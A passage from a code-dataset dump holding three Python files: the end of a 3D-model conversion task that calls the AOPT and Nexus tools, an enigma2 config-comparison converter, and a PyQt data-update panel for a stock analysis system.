model['input'])\n name = model['name'] + \".nxs\"\n output_file = os.path.join(output_directory, name)\n proc = subprocess.Popen([\n current_app.config['NEXUS_BINARY'], \n nexus_input_file,\n \"-o\",\n output_file\n ],\n env=env, \n stdout=subprocess.PIPE, \n stderr=subprocess.STDOUT)\n \n output = proc.communicate()[0]\n returncode = proc.wait()\n\n if returncode == 0:\n msg = \"Model \" + model['name'] + \" successfully converted.\"\n update_progress(msg)\n logger.info(msg)\n else:\n update_progress(\"Nexus failed!\")\n logger.error(\"Nexus problem: {0} return: {1}\".format(nexus_input_file, returncode))\n\n # END NEXUS PROCESSING\n # ------------------------------------------------------------------\n\n # ------------------------------------------------------------------\n # Aopt call\n # this should live in its own task (or maybe transcoder in the future)\n # ------------------------------------------------------------------\n update_progress(\"Starting AOPT conversion\")\n\n status = -100\n if template != \"nexus\":\n for model in models_to_convert:\n\n update_progress(\"Converting: {0}\".format(model['input']))\n\n aopt_geo_prefix = \"{0}_bin\".format(model['name'])\n os.mkdir(os.path.join(output_directory, aopt_geo_prefix))\n\n infile = os.path.join(model['input_path'], model['input'])\n outfile = os.path.join(output_directory, model['output'])\n\n ## Config aopt call {{{\n\n ### FIXME: naive impl for the config stuff \n ### build a custom config parser, set defaults on init\n ### maybe useing argparse to reconstruct arguments\n ### http://stackoverflow.com/questions/14823363/is-it-possible-to-reconstruct-a-command-line-with-pythons-argparse\n ### however, probably would make it less straight forward\n\n aopt_geo_output = bundle_config.get(TASK_CONFIG_SECTION, 'aopt.geoOutput')\n \n aopt_geo_param = bundle_config.get(TASK_CONFIG_SECTION, 'aopt.geoParams')\n # validation check not really necessary, since all combinations are possible and invalid ones are just ignored...\n aopt_geo_valid = ['sa', 'sac', 'sacp', 'i']\n if not aopt_geo_param in aopt_geo_valid:\n logger.warning(\"AOPT binGeo param {0} invalid, useing default 'sa'\".format(aopt_geo_param))\n #aopt_geo_param = 'sa' \n\n # set output mode\n if aopt_geo_output == 'pop':\n aopt_geo_switch = '-K' # POP\n else: # assume binary\n aopt_geo_switch = '-G' # binary\n\n\n aopt_gencam = bundle_config.getboolean(TASK_CONFIG_SECTION, 'aopt.genCam')\n aopt_flatten_graph = bundle_config.getboolean(TASK_CONFIG_SECTION, 'aopt.flattenGraph') \n\n\n aopt_cmd = [\n current_app.config['AOPT_BINARY'], \n '-i', \n infile\n ]\n \n \n if aopt_flatten_graph:\n aopt_cmd.append('-F')\n aopt_cmd.append('Scene:\"cacheopt(true)\"')\n \n aopt_cmd.append('-f')\n aopt_cmd.append('PrimitiveSet:creaseAngle:4')\n aopt_cmd.append('-f')\n aopt_cmd.append('PrimitiveSet:normalPerVertex:TRUE')\n \n if aopt_gencam:\n aopt_cmd.append('-V')\n \n aopt_cmd.append(aopt_geo_switch)\n aopt_cmd.append(aopt_geo_prefix + '/:' + aopt_geo_param)\n \n aopt_cmd.append('-x')\n aopt_cmd.append(outfile)\n \n\n # }}} end config aopt call\n\n # aopt_cmd = [\n # current_app.config['AOPT_BINARY'], \n # '-i', \n # infile, \n # '-F',\n # 'Scene:\"cacheopt(true)\"',\n # '-f',\n # 'PrimitiveSet:creaseAngle:4', \n # '-f',\n # 'PrimitiveSet:normalPerVertex:TRUE',\n # '-V',\n # '-G',\n # aopt_bingeo + '/:sacp',\n # '-x', \n # outfile\n # ]\n\n try:\n \n update_progress(\"Running AOPT on: {0}\".format(model['input']))\n #status = subprocess.call(aopt_cmd)\n\n\n process = subprocess.Popen(aopt_cmd, \n stdout=subprocess.PIPE, \n stderr=subprocess.STDOUT) \n output = process.communicate()[0] \n\n status = process.wait()\n\n # create a aopt log in debug mode\n # this is a secuirty concern as long as aopt does include\n # full path names in the log output\n if current_app.config['DEBUG'] or aopt_log:\n with open(os.path.join(output_directory, 'aopt.log'), 'a+') as f:\n f.write(output)\n\n\n logger.info(\"Aopt return: {0}\".format(status))\n logger.info(output)\n\n except OSError:\n update_progress(\"Failure to execute AOPT\")\n err_msg = \"Error: AOPT not found or not executable {0}\".format(repr(aopt_cmd))\n logger.error(err_msg)\n raise ConversionError(err_msg)\n else:\n status = 0\n\n\n if status < 0:\n # FIXME error handling and cleanup (breaking early is good but\n # cleanup calls for try/catch/finally or contextmanager)\n os.chdir(working_directory)\n\n # fixme: put this in exception code\n update_progress(\"Error on conversion process\")\n logger.error(\"Error converting file!!!!!!!!!!\")\n raise ConversionError('AOPT RETURNS: {0}'.format(status))\n \n else:\n # ------------------------------------------------------------------\n # Final creation of deliverable, could live in it's own task\n # ------------------------------------------------------------------\n update_progress(\"Assembling deliverable...\")\n zip_path = os.path.join(download_path, hash)\n compression.zipdir(zip_path, '%s.zip' % hash)\n\n os.chdir(working_directory)\n \n\n\n # ------------------------------------------------------------------\n # cleaning up\n # ------------------------------------------------------------------\n\n if not current_app.config['DEBUG']:\n # delete the uploaded file\n update_progress(\"Cleaning up...\")\n\n # todo remove upload directory\n uncompressed_path = upload_directory + '.tmp'\n if os.path.exists(uncompressed_path):\n shutil.rmtree(uncompressed_path)\n if os.path.exists(upload_directory):\n shutil.rmtree(upload_directory)\n\n \n\n\n\n # import time\n # time.sleep(10)\n\n # hah: hackish as hell\n\n if len(models_to_convert) > 1:\n preview = 'list.html'\n else:\n preview = models_to_convert[0]['preview']\n\n\n # send mail if any\n # email address nees to be trusted, no checks are made\n if email_to:\n update_progress(\"Sending email\")\n mail = Mail(current_app)\n msg = Message(\n subject=\"Your models are ready\",\n recipients=[email_to],\n sender=current_app.config['DEFAULT_MAIL_SENDER']\n )\n msg.body = \"Preview: {0}\\nDownload:{1}\".format(\n flask.url_for('frontend.preview', _external=True, hash=hash, filename=preview),\n flask.url_for('frontend.download', _external=True, hash=hash, filename='%s.zip' % hash)\n )\n mail.send(msg)\n\n update_progress(\"Done\")\n\n\n\n\n result_set = dict(\n hash = hash,\n filenames = [preview, '%s.zip' % hash],\n input_file = input_file,\n )\n return result_set\n","repo_name":"x3dom/pipeline","sub_path":"modelconvert/tasks/convert_model.py","file_name":"convert_model.py","file_ext":"py","file_size_in_byte":29060,"program_lang":"python","lang":"en","doc_type":"code","stars":26,"dataset":"github-code","pt":"29"} +{"seq_id":"8411918388","text":"from Components.Converter.Converter import Converter\nfrom Components.Element import cached\n\nfrom Components.config import configfile\n\n\nclass ConfigEntryTest(Converter):\n\tdef __init__(self, argstr):\n\t\tConverter.__init__(self, argstr)\n\t\targs = argstr.split(',')\n\t\tself.argerror = False\n\t\tself.checkSourceBoolean = False\n\t\tself.invert = False\n\t\tself.configKey = None\n\t\tself.configValue = None\n\t\tif len(args) < 2:\n\t\t\tself.argerror = True\n\t\telse:\n\t\t\tif \"config.\" in args[0]:\n\t\t\t\tself.configKey = args[0]\n\t\t\t\tself.configValue = args[1]\n\t\t\t\tif len(args) > 2:\n\t\t\t\t\tif args[2] == 'Invert':\n\t\t\t\t\t\tself.invert = True\n\t\t\t\t\telif args[2] == 'CheckSourceBoolean':\n\t\t\t\t\t\tself.checkSourceBoolean = True\n\t\t\t\t\telse:\n\t\t\t\t\t\tself.argerror = True\n\t\t\t\tif len(args) > 3:\n\t\t\t\t\tif args[3] == 'Invert':\n\t\t\t\t\t\tself.invert = True\n\t\t\t\t\telif args[3] == 'CheckSourceBoolean':\n\t\t\t\t\t\tself.checkSourceBoolean = True\n\t\t\t\t\telse:\n\t\t\t\t\t\tself.argerror = True\n\t\t\telse:\n\t\t\t\tself.argerror = True\n\t\tif self.argerror:\n\t\t\tprint(\"ConfigEntryTest Converter got incorrect arguments\", args, \"!!!\\narg[0] must start with 'config.',\\narg[1] is the compare string,\\narg[2],arg[3] are optional arguments and must be 'Invert' or 'CheckSourceBoolean'\")\n\n\t@cached\n\tdef getBoolean(self):\n\t\tif self.argerror:\n\t\t\tprint(\"ConfigEntryTest got invalid arguments\", self.converter_arguments, \"force True!!\")\n\t\t\treturn True\n\t\tif self.checkSourceBoolean and not self.source.boolean:\n\t\t\treturn False\n\t\tval = configfile.getResolvedKey(self.configKey)\n\t\tret = val == self.configValue\n\t\treturn ret ^ self.invert\n\n\tboolean = property(getBoolean)\n","repo_name":"OpenPLi/enigma2","sub_path":"lib/python/Components/Converter/ConfigEntryTest.py","file_name":"ConfigEntryTest.py","file_ext":"py","file_size_in_byte":1572,"program_lang":"python","lang":"en","doc_type":"code","stars":145,"dataset":"github-code","pt":"29"} +{"seq_id":"35345863661","text":"#!usr/bin/env python\n#-*- coding:utf-8 _*-\n\"\"\"\n@version:\nauthor:Sleepy\n@time: 2017/08/08\n@file: data_update.py\n@function:\n@modify:\n\"\"\"\nimport os\n\nfrom PyQt5.QtCore import QTimer\n\nfrom StockAnalysisSystem.core.Utility.common import *\nfrom StockAnalysisSystem.core.Utility.task_queue import *\nfrom StockAnalysisSystem.core.Utility.ui_utility import *\nfrom StockAnalysisSystem.core.Utility.time_utility import *\nfrom StockAnalysisSystem.core.Utility.TableViewEx import TableViewEx\n\nfrom StockAnalysisSystem.ui.Utility.ui_context import UiContext\nfrom StockAnalysisSystem.core.Utility.resource_sync import ResourceTagUpdater, ResourceUpdateTask\n\nDEFAULT_INFO = \"\"\"数据更新界面说明:\n1. 要使用此功能,首先请在设置界面配置好TS_TOKEN及NOSQL相关设置项目\n2. 如果从零开始,请先更新Market.SecuritiesInfo以获取股票列表,后续更新方可正常运作\n3. 在首页更新财务信息会对所有股票执行一次,故耗时非常长,请做好挂机准备\n4. Force Update会拉取从1990年至今的数据,耗时非常长,请谨慎使用\"\"\"\n\n\n# ---------------------------------- UpdateTask ----------------------------------\n\n# class UpdateTask(TaskQueue.Task):\n# def __init__(self, ui, data_hub, data_center, force: bool):\n# super(UpdateTask, self).__init__('UpdateTask')\n# self.__ui = ui\n# self.__force = force\n# self.__data_hub = data_hub\n# self.__data_center = data_center\n# self.__quit = False\n# \n# # Thread pool\n# self.__patch_count = 0\n# self.__apply_count = 0\n# self.__future = None\n# self.__pool = ThreadPoolExecutor(max_workers=1)\n# \n# # Parameters\n# self.agent = None\n# self.identities = []\n# self.clock = Clock(False)\n# self.progress = ProgressRate()\n# \n# def in_work_package(self, uri: str) -> bool:\n# return self.agent.adapt(uri)\n# \n# def set_work_package(self, agent: DataAgent, identities: list or str or None):\n# if isinstance(identities, str):\n# identities = [identities]\n# self.identities = identities\n# self.agent = agent\n# \n# def run(self):\n# print('Update task start.')\n# \n# self.__patch_count = 0\n# self.__apply_count = 0\n# try:\n# # Catch \"pymongo.errors.ServerSelectionTimeoutError: No servers found yet\" exception and continue.\n# self.__execute_update()\n# except Exception as e:\n# print('Update got Exception: ')\n# print(e)\n# print(traceback.format_exc())\n# print('Continue...')\n# finally:\n# if self.__future is not None:\n# self.__future.cancel()\n# print('Update task finished.')\n# \n# def quit(self):\n# self.__quit = True\n# \n# def identity(self) -> str:\n# return self.agent.base_uri() if self.agent is not None else ''\n# \n# # ------------------------------------- Task -------------------------------------\n# \n# def __execute_update(self):\n# # Get identities here to ensure we can get the new list after stock info updated\n# update_list = self.identities if self.identities is not None and len(self.identities) > 0 else \\\n# self.agent.update_list()\n# if update_list is None or len(update_list) == 0:\n# update_list = [None]\n# progress = len(update_list)\n# \n# self.clock.reset()\n# self.progress.reset()\n# self.progress.set_progress(self.agent.base_uri(), 0, progress)\n# \n# for identity in update_list:\n# while (self.__patch_count - self.__apply_count > 20) and not self.__quit:\n# time.sleep(0.5)\n# continue\n# if self.__quit:\n# break\n# \n# print('------------------------------------------------------------------------------------')\n# \n# if identity is not None:\n# # Optimise: Update not earlier than listing date.\n# listing_date = self.__data_hub.get_data_utility().get_securities_listing_date(identity, default_since())\n# \n# if self.__force:\n# since, until = listing_date, now()\n# else:\n# since, until = self.__data_center.calc_update_range(self.agent.base_uri(), identity)\n# since = max(listing_date, since)\n# time_serial = (since, until)\n# else:\n# time_serial = None\n# \n# patch = self.__data_center.build_local_data_patch(\n# self.agent.base_uri(), identity, time_serial, force=self.__force)\n# self.__patch_count += 1\n# print('Patch count: ' + str(self.__patch_count))\n# \n# self.__future = self.__pool.submit(self.__execute_persistence,\n# self.agent.base_uri(), identity, patch)\n# \n# if self.__future is not None:\n# print('Waiting for persistence task finish...')\n# self.__future.result()\n# self.clock.freeze()\n# # self.__ui.task_finish_signal[UpdateTask].emit(self)\n# \n# def __execute_persistence(self, uri: str, identity: str, patch: tuple) -> bool:\n# try:\n# if patch is not None:\n# self.__data_center.apply_local_data_patch(patch)\n# if identity is not None:\n# self.progress.set_progress([uri, identity], 1, 1)\n# self.progress.increase_progress(uri)\n# except Exception as e:\n# print('Persistence error: ' + str(e))\n# print(traceback.format_exc())\n# return False\n# finally:\n# self.__apply_count += 1\n# print('Persistence count: ' + str(self.__apply_count))\n# return True\n\n\n# ---------------------------------- RefreshTask ----------------------------------\n\nclass RefreshTask(TaskQueue.Task):\n def __init__(self, ui):\n super(RefreshTask, self).__init__('RefreshTask')\n self.__ui = ui\n\n def run(self):\n print('Refresh task start.')\n self.__ui.update_table_content()\n self.__ui.refresh_finish_signal.emit()\n print('Refresh task finished.')\n\n def identity(self) -> str:\n return 'RefreshTask'\n\n\n# ------------------------------- Update Resouce Task -------------------------------\n\n# class UpdateResTask(TaskQueue.Task):\n# def __init__(self, ui):\n# super(UpdateResTask, self).__init__('UpdateResTask')\n# self.__ui = ui\n#\n# def run(self):\n# self.__ui.update_task_progress()\n#\n# def identity(self) -> str:\n# return 'UpdateResTask'\n\n\n# # ------------------------------ UpdateStockListTask ------------------------------\n#\n# class UpdateStockListTask(TaskQueue.Task):\n# def __init__(self, data_utility):\n# super(UpdateStockListTask, self).__init__('UpdateStockListTask')\n# self.__data_utility = data_utility\n#\n# def run(self):\n# print('Update stock list task start.')\n# self.__data_utility.refresh_cache()\n# print('Update stock list task finished.')\n#\n# def identity(self) -> str:\n# return 'UpdateStockListTask'\n\n\n# ---------------------------------------------------- DataUpdateUi ----------------------------------------------------\n\nclass DataUpdateUi(QWidget):\n # task_finish_signal = pyqtSignal()\n refresh_finish_signal = pyqtSignal()\n\n INDEX_CHECK = 0\n INDEX_ITEM = 1\n INDEX_STATUS = 8\n TABLE_HEADER = ['', 'Item', 'Local Data Since', 'Local Data Until', 'Latest Update',\n 'Update Estimation', 'Sub Update', 'Update', 'Status']\n\n def get_uri_sub_update(self, uri: str) -> list or None:\n return self.__context.get_sas_interface().sas_get_data_agent_update_list(uri)\n # agent = self.__data_hub.get_data_center().get_data_agent(uri)\n # if agent is not None:\n # return agent.update_list()\n # else:\n # print('Error: Agent of URI %s is None.' % uri)\n\n def __init__(self, context: UiContext):\n super(DataUpdateUi, self).__init__()\n\n self.__context = context\n # self.__res_sync = ResourceSync(context.get_sas_interface())\n\n # Table content\n self.__display_uri = []\n self.__data_agent_prob = {}\n self.__display_identities = None\n self.__display_table_lines = []\n\n # Page related\n self.__page = 0\n self.__item_per_page = 20\n\n # Mark if it's first update. If yes, the update complete alarm will not be showed\n self.__first_post_update = True\n # Mark if we just posted the update task, if yes, it will keeping update until we get not empty update res ids\n self.__just_post_update = False\n # Post update per 10 seconds\n self.__post_update_timeout = 10\n\n # # For processing updating\n # self.__processing_update_tasks = []\n # # Fot task counting\n # self.__processing_update_tasks_count = []\n\n # self.__task_res_id = []\n # self.__task_progress = {}\n # self.__total_progress = ProgressRate()\n\n self.__current_update_task: ResourceUpdateTask = None\n\n # self.task_finish_signal.connect(self.__on_task_done)\n self.refresh_finish_signal.connect(self.update_table_display)\n\n # Timer for update status\n self.__timer = QTimer()\n self.__timer.setInterval(1000)\n self.__timer.timeout.connect(self.on_timer)\n self.__timer.start()\n\n self.__lock = threading.Lock()\n\n # UI related\n self.__info_panel = QLabel(DEFAULT_INFO)\n\n self.__table_main = TableViewEx()\n self.__button_head_page = QPushButton('<<')\n self.__button_prev_page = QPushButton('<')\n self.__button_next_page = QPushButton('>')\n self.__button_tail_page = QPushButton('>>')\n self.__button_upper_level = QPushButton('↑')\n\n self.__button_refresh = QPushButton('Refresh')\n self.__button_batch_auto_update = QPushButton('Auto Update Select')\n self.__button_batch_force_update = QPushButton('Force Update Select')\n\n self.init_ui()\n\n # # Post update and cache stock list after posting RefreshTask\n # data_utility = self.__data_hub.get_data_utility()\n # self.__context.get_task_queue().add_observer(self)\n # self.__context.get_task_queue().append_task(UpdateStockListTask(data_utility))\n\n # self.__context.get_task_queue().add_observer(self)\n self.__context.get_task_queue().append_task(RefreshTask(self))\n\n self.post_progress_updater()\n\n # ---------------------------------------------------- UI Init -----------------------------------------------------\n\n def init_ui(self):\n self.__layout_control()\n self.__config_control()\n self.__to_top_level()\n\n def __layout_control(self):\n main_layout = QVBoxLayout()\n self.setLayout(main_layout)\n self.setMinimumSize(600, 400)\n main_layout.addWidget(self.__table_main)\n\n bottom_control_area = QHBoxLayout()\n main_layout.addLayout(bottom_control_area)\n\n bottom_right_area = QVBoxLayout()\n bottom_control_area.addWidget(self.__info_panel, 99)\n bottom_control_area.addLayout(bottom_right_area, 0)\n\n line = horizon_layout([self.__button_head_page, self.__button_prev_page,\n self.__button_next_page, self.__button_tail_page,\n self.__button_upper_level, self.__button_refresh])\n bottom_right_area.addLayout(line)\n\n line = horizon_layout([self.__button_batch_auto_update, self.__button_batch_force_update])\n bottom_right_area.addLayout(line)\n\n def __config_control(self):\n self.__table_main.SetColumn(DataUpdateUi.TABLE_HEADER)\n self.__table_main.SetCheckableColumn(DataUpdateUi.INDEX_CHECK)\n self.__table_main.horizontalHeader().setSectionResizeMode(QHeaderView.ResizeToContents)\n\n self.__button_head_page.clicked.connect(partial(self.on_page_control, '<<'))\n self.__button_prev_page.clicked.connect(partial(self.on_page_control, '<'))\n self.__button_next_page.clicked.connect(partial(self.on_page_control, '>'))\n self.__button_tail_page.clicked.connect(partial(self.on_page_control, '>>'))\n self.__button_upper_level.clicked.connect(partial(self.on_page_control, '^'))\n self.__button_refresh.clicked.connect(partial(self.on_page_control, 'r'))\n\n self.__button_batch_auto_update.clicked.connect(partial(self.on_batch_update, False))\n self.__button_batch_force_update.clicked.connect(partial(self.on_batch_update, True))\n\n def on_detail_button(self, uri: str):\n print('Detail of ' + uri)\n self.__page = 0\n self.__to_detail_level(uri)\n\n def on_auto_update_button(self, uri: str, identity: str):\n print('Auto update ' + uri + ':' + str(identity))\n self.__context.get_sas_interface().sas_execute_update(uri, identity, None, False)\n self.post_progress_updater()\n # self.__task_res_id.append(res_id)\n # self.__context.get_res_sync().add_sync_resource(res_id, 'progress')\n\n def on_force_update_button(self, uri: str, identity: str):\n print('Force update ' + uri + ' : ' + str(identity))\n self.__context.get_sas_interface().sas_execute_update(uri, identity, None, True)\n self.post_progress_updater()\n # self.__task_res_id.append(res_id)\n # self.__context.get_res_sync().add_sync_resource(res_id, 'progress')\n\n def on_batch_update(self, force: bool):\n update_uris = []\n for i in range(self.__table_main.RowCount()):\n if self.__table_main.GetItemCheckState(i, DataUpdateUi.INDEX_CHECK) == Qt.Checked:\n item_id = self.__table_main.GetItemText(i, DataUpdateUi.INDEX_ITEM)\n # A little ugly...To distinguish it's uri or securities identity\n if self.__display_identities is None:\n # For sort\n update_uris.append(item_id)\n # self.__context.get_sas_interface().sas_execute_update(item_id, None, force)\n # self.__task_res_id.append(res_id)\n else:\n self.__context.get_sas_interface().sas_execute_update(self.__display_uri[0], item_id, None, force)\n # self.__task_res_id.append(res_id)\n\n # Sort by update priority\n sorted(update_uris, key=lambda x: self.__data_agent_prob[x]['update_priority'], reverse=True)\n # Only if the update_uris has contents.\n for uri in update_uris:\n self.__context.get_sas_interface().sas_execute_update(uri, None, None, force)\n\n self.post_progress_updater()\n\n def on_page_control(self, control: str):\n # data_utility = self.__data_hub.get_data_utility()\n # stock_list = data_utility.get_stock_list()\n # max_page = len(stock_list) // self.__item_per_page\n\n if self.__display_identities is None:\n max_item_count = len(self.__display_uri)\n else:\n max_item_count = len(self.__display_identities)\n max_page = max_item_count // self.__item_per_page\n\n new_page = self.__page\n if control == '<<':\n new_page = 0\n elif control == '<':\n new_page = max(self.__page - 1, 0)\n elif control == '>':\n new_page = min(self.__page + 1, max_page)\n elif control == '>>':\n new_page = max_page\n elif control == '^':\n self.__to_top_level()\n\n if control in ['<<', '<', '>', '>>', 'r']:\n if control == 'r' or new_page != self.__page:\n self.update_table()\n self.__page = new_page\n\n def on_timer(self):\n if self.__current_update_task is None:\n if self.__post_update_timeout > 0:\n self.__post_update_timeout -= 1\n else:\n # Check per 10s to avoid any update missing\n self.post_progress_updater()\n self.__post_update_timeout = 10\n return\n\n if self.__current_update_task.working():\n # Waiting for update\n return\n\n total_progress = ProgressRate()\n updater: ResourceTagUpdater = self.__current_update_task.get_updater()\n updated_res_id = updater.get_resource_ids()\n\n if updated_res_id is None:\n # The server might be killed\n return\n\n done_progress = []\n for res_id in updated_res_id:\n progress: ProgressRate = updater.get_resource(res_id, 'progress')\n if progress is None:\n continue\n total_progress.combine_with(progress)\n if progress.progress_done():\n done_progress.append(res_id)\n\n for i in range(self.__table_main.RowCount()):\n item_id = self.__table_main.GetItemText(i, DataUpdateUi.INDEX_ITEM)\n # A little ugly...To distinguish it's uri or securities identity\n if self.__display_identities is None:\n uri = item_id\n prog_id = uri\n else:\n uri = self.__display_uri[0]\n prog_id = [uri, item_id]\n\n if not total_progress.has_progress(prog_id):\n text = ['']\n else:\n rate = total_progress.get_progress_rate(prog_id)\n if rate < 0.0001:\n text = ['Waiting...']\n else:\n text = ['%.2f%%' % (rate * 100)]\n\n # for res_id, progress in self.__task_progress.items():\n # if not task.in_work_package(uri):\n # continue\n # text = []\n # if task.status() in [TaskQueue.Task.STATUS_IDLE, TaskQueue.Task.STATUS_PENDING]:\n # text.append('等待中...')\n # else:\n # if progress.has_progress(prog_id):\n # rate = progress.get_progress_rate(prog_id)\n # text.append('%ss' % task.clock.elapsed_s())\n # text.append('%.2f%%' % (rate * 100))\n # if task.status() == TaskQueue.Task.STATUS_CANCELED:\n # text.append('[Canceled]')\n # elif task.status() == TaskQueue.Task.STATUS_FINISHED:\n # text.append('[Finished]')\n # elif task.status() == TaskQueue.Task.STATUS_EXCEPTION:\n # text.append('[Error]')\n\n self.__table_main.SetItemText(i, DataUpdateUi.INDEX_STATUS, ' | '.join(text))\n\n if len(updated_res_id) > 0:\n if len(done_progress) != len(updated_res_id):\n # Progress not done yet, post update\n self.post_progress_updater()\n else:\n # Progress done, not post update\n self.__context.get_sas_interface().sas_delete_resource(done_progress)\n self.__current_update_task = None\n # If progress done at process startup, do not pop up message box\n if not self.__first_post_update:\n self.__on_update_done()\n # --------- Just for the progress performs good ---------\n self.__first_post_update = False\n self.__just_post_update = False\n elif self.__just_post_update:\n # If just post update, it may not get the progress at the first time, retry.\n self.post_progress_updater()\n self.__just_post_update = False\n else:\n self.__current_update_task = None\n self.__post_update_timeout = 10\n\n # if not total_progress.progress_done():\n # self.__context.get_task_queue().append_task(UpdateResTask(self))\n\n # def closeEvent(self, event):\n # if self.__task_thread is not None:\n # QMessageBox.information(self,\n # QtCore.QCoreApplication.translate('', '无法关闭窗口'),\n # QtCore.QCoreApplication.translate('', '更新过程中无法关闭此窗口'),\n # QMessageBox.Close, QMessageBox.Close)\n # event.ignore()\n # else:\n # event.accept()\n\n # ---------------------------------------- Table Update ----------------------------------------\n\n def update_table(self):\n self.__table_main.Clear()\n self.__table_main.SetColumn(DataUpdateUi.TABLE_HEADER)\n self.__table_main.AppendRow(['', '刷新中...', '', '', '', '', '', '', ''])\n task = RefreshTask(self)\n self.__context.get_task_queue().append_task(task)\n\n def update_table_display(self):\n self.__table_main.Clear()\n self.__table_main.SetColumn(DataUpdateUi.TABLE_HEADER)\n\n for line in self.__display_table_lines:\n self.__table_main.AppendRow(line)\n index = self.__table_main.RowCount() - 1\n\n # Add detail button\n # Only if currently in top level\n if self.__display_identities is None or len(self.__display_identities) == 0:\n uri = line[1]\n update_list = self.__context.get_sas_interface().sas_get_data_agent_update_list(uri)\n if update_list is not None and len(update_list) > 0:\n button = QPushButton('Enter')\n button.clicked.connect(partial(self.on_detail_button, line[1]))\n self.__table_main.SetCellWidget(index, 6, button)\n\n # Add update button\n button_auto = QPushButton('Auto')\n button_force = QPushButton('Force')\n if self.__display_identities is None:\n button_auto.clicked.connect(partial(self.on_auto_update_button, line[1], None))\n button_force.clicked.connect(partial(self.on_force_update_button, line[1], None))\n else:\n button_auto.clicked.connect(partial(self.on_auto_update_button, self.__display_uri[0], line[1]))\n button_force.clicked.connect(partial(self.on_force_update_button, self.__display_uri[0], line[1]))\n self.__table_main.SetCellWidget(index, 7, [button_auto, button_force])\n\n # -------------------- Call by update RefreshTask --------------------\n\n def update_table_content(self):\n contents = []\n count = self.__item_per_page\n offset = self.__page * self.__item_per_page\n\n for uri in self.__display_uri:\n update_details = self.__display_identities if \\\n self.__display_identities is not None else [None]\n for index in range(offset, offset + count):\n if index >= len(update_details):\n break\n line = self.generate_line_content(uri, update_details[index])\n if line is not None:\n contents.append(line)\n self.__display_table_lines = contents\n\n def generate_line_content(self, uri: str, identity: str or None) -> [list] or None:\n line = []\n\n update_tags = uri.split('.') + ([identity] if identity is not None else [])\n since, until = self.__context.get_sas_interface().sas_get_local_data_range_from_update_table(update_tags)\n \n if since is None or until is None:\n # Query from DB, very slow. In theory we can get updated range from update table.\n since, until = self.__context.get_sas_interface().sas_get_data_range(uri, identity)\n if until is not None:\n update_since = min(tomorrow_of(until), now())\n update_until = now()\n else:\n pass\n update_since, update_until = self.__context.get_sas_interface().sas_calc_update_range(uri, identity)\n\n update_tags = uri.split('.')\n latest_update = self.__context.get_sas_interface().sas_get_last_update_time_from_update_table(update_tags)\n\n line.append('') # Place holder for check box\n line.append(identity if str_available(identity) else uri)\n line.append(date2text(since) if since is not None else ' - ')\n line.append(date2text(until) if until is not None else ' - ')\n line.append(date2text(latest_update) if latest_update is not None else ' - ')\n\n if update_since is not None and update_until is not None:\n line.append(date2text(update_since) + ' - ' + date2text(update_until))\n else:\n line.append(' - ')\n line.append('-') # Place holder for detail button\n line.append('') # Place holder for update button\n line.append('') # Place holder for status\n\n return line\n\n # -------------------------------------------------------------------------\n\n # def update_task_progress(self):\n # self.lock()\n # task_res_id = self.__task_res_id.copy()\n # self.unlock()\n #\n # task_progress = {}\n # total_progress = ProgressRate()\n # for res_id in task_res_id:\n # progress = self.__context.get_res_sync().get_resource(res_id, 'progress')\n # task_progress[res_id] = progress\n # total_progress.combine_with(progress)\n #\n # self.lock()\n # self.__task_progress = task_progress\n # self.__total_progress = total_progress\n # self.unlock()\n #\n # def clear_finished_progress(self):\n # self.lock()\n # for res_id, progress in self.__task_progress.items():\n # if progress.progress_done():\n # if res_id in self.__task_res_id:\n # self.__task_res_id.remove(res_id)\n # self.unlock()\n #\n # # -------------------- Call by update UpdateResTask --------------------\n\n # --------------------------------------------------------------------------\n\n def __to_top_level(self):\n # Temporary exclude Factor related data\n\n probs = self.__context.get_sas_interface().sas_get_data_agent_probs()\n self.__data_agent_prob = {prob['uri']: prob for prob in probs}\n\n support_uri = self.__context.get_sas_interface().sas_get_all_uri()\n self.__display_uri = [uri for uri in support_uri if self.__data_agent_prob[uri]['update_priority'] > 0]\n\n self.__display_identities = None\n self.__page = 0\n self.update_table()\n\n def __to_detail_level(self, uri: str):\n self.__display_uri = [uri]\n self.__display_identities = self.get_uri_sub_update(uri)\n self.__page = 0\n self.update_table()\n\n # def __build_post_update_task(self, uri: str, identities: list or None, force: bool) -> bool:\n # agent = self.__data_center.get_data_agent(uri)\n # task = UpdateTask(self, self.__data_hub, self.__data_center, force)\n # task.set_work_package(agent, identities)\n # self.__processing_update_tasks.append(task)\n # self.__processing_update_tasks_count.append(task)\n # ret = self.__context.get_task_queue().append_task(task)\n # # After updating market info, also update stock list cache\n # if ret and (uri == 'Market.SecuritiesInfo' or uri == 'Market.IndexInfo'):\n # data_utility = self.__data_hub.get_data_utility()\n # self.__context.get_task_queue().append_task(UpdateStockListTask(data_utility))\n # return ret\n\n # ---------------------------------------------------------------------------------\n\n # def on_task_updated(self, task, change: str):\n # if change in ['canceled', 'finished']:\n # pass\n # # if task in self.__processing_update_tasks_count:\n # # self.task_finish_signal[UpdateTask].emit(task)\n\n # def __on_task_done(self):\n # pass\n # if task in self.__processing_update_tasks_count:\n # self.__processing_update_tasks_count.remove(task)\n # print('Finish task: %s, remaining count: %s' % (task.name(), len(self.__processing_update_tasks_count)))\n # if len(self.__processing_update_tasks_count) == 0:\n # QMessageBox.information(self,\n # QtCore.QCoreApplication.translate('main', '更新完成'),\n # QtCore.QCoreApplication.translate('main', '数据更新完成'),\n # QMessageBox.Ok, QMessageBox.Ok)\n # self.__processing_update_tasks.clear()\n # self.update_table()\n # else:\n # print('Impossible: Cannot find finished task in task list.')\n\n def lock(self):\n self.__lock.acquire()\n\n def unlock(self):\n self.__lock.release()\n\n def post_progress_updater(self):\n updater = ResourceTagUpdater(self.__context.get_sas_interface(), 'Data Update Progress Updater')\n updater.set_resource_tags('update_task')\n updater.set_update_resource_keys('progress')\n\n update_task = ResourceUpdateTask(updater)\n self.__context.get_task_queue().append_task(update_task)\n self.__current_update_task = update_task\n self.__post_update_timeout = 10\n self.__just_post_update = True\n\n def __on_update_done(self):\n QMessageBox.information(self,\n QtCore.QCoreApplication.translate('main', '更新完成'),\n QtCore.QCoreApplication.translate('main', '数据更新完成'),\n QMessageBox.Ok, QMessageBox.Ok)\n self.update_table()\n\n\n# ----------------------------------------------------------------------------------------------------------------------\n\ndef main():\n from StockAnalysisSystem.interface.interface_local import LocalInterface\n\n project_path = os.path.dirname(os.path.dirname(os.getcwd()))\n\n local_if = LocalInterface()\n local_if.if_init(project_path=project_path)\n\n context = UiContext()\n context.set_sas_interface(local_if)\n\n app = QApplication(sys.argv)\n dlg = 